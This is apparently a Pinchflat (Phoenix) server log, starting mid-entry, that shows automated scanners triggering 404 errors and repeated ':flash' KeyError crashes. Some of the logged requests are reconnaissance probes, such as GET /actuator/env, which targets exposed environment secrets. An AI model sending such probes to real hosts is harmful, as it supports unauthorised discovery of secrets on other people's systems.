line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9649.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dist/bundle.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50436}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dist/bundle (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9649.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dist/bundle.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50436}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9650.0>, params: %{}, path_info: ["dist", "bundle"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/dist/bundle.js", (truncated) 15:21:51.682 [info] GET /build/static/js/main.js 15:21:51.682 [debug] QUERY OK source="settings" db=0.1ms idle=477.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:51.682 [debug] QUERY OK source="settings" db=0.0ms idle=477.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:51.682 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:51.683 [error] #PID<0.9652.0> running PinchflatWeb.Endpoint (connection #PID<0.9651.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /build/static/js/main.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /build/static/js/main (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9651.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/build/static/js/main.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50438}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9652.0>, params: %{}, path_info: ["build", "static", "js", "main"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/build/static/js/main.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDA_obopcJkvkAAIbD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9651.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/build/static/js/main.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50438}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /build/static/js/main (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9651.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/build/static/js/main.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50438}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9652.0>, params: %{}, path_info: ["build", "static", "js", "main"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-r (truncated) 15:21:51.775 [info] GET /actuator/env 15:21:51.775 [debug] QUERY OK source="settings" db=0.1ms idle=332.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:51.775 [debug] QUERY OK source="settings" db=0.0ms idle=332.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:51.775 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:51.776 [error] #PID<0.9654.0> running PinchflatWeb.Endpoint (connection #PID<0.9653.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /actuator/env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /actuator/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9653.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/actuator/env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50444}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9654.0>, params: %{}, path_info: ["actuator", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)"}, {"x-forwarded-for", "167.99.182.39"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "167.99.182.39"} ], request_path: "/actuator/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDA_-o0CglTvAAAcYC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9653.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/actuator/env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50444}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /actuator/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9653.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/actuator/env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50444}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9654.0>, params: %{}, path_info: ["actuator", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)"}, {"x-forwarded-for", "167.99.182.39"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "167.99.182.39"} ], request_path: "/actuator/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDA_-o0CglTvAAAcYC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :cal (truncated) 15:21:51.926 [info] GET /assets/index.js 15:21:51.926 [debug] QUERY OK source="settings" db=0.1ms idle=420.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:51.927 [debug] QUERY OK source="settings" db=0.0ms idle=244.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:51.927 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:51.927 [error] #PID<0.9656.0> running PinchflatWeb.Endpoint (connection #PID<0.9655.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /assets/index.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /assets/index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9655.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/index.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50450}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9656.0>, params: %{}, path_info: ["assets", "index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/assets/index.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBAiqpaXy32cAAcZC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9655.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/index.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50450}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /assets/index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9655.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/index.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50450}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9656.0>, params: %{}, path_info: ["assets", "index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/assets/index.js", (truncated) 15:21:52.652 [info] GET /js/app.js 15:21:52.653 [debug] QUERY OK source="settings" db=0.2ms idle=877.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:52.653 [debug] QUERY OK source="settings" db=0.0ms idle=877.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:52.653 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:52.653 [error] #PID<0.9660.0> running PinchflatWeb.Endpoint (connection #PID<0.9659.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /js/app.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /js/app (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9659.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/js/app.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 50462}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9660.0>, params: %{}, path_info: ["js", "app"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/js/app.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBDP1jKq-MkQAAcaC"} ], scheme: :http, script_name: [], 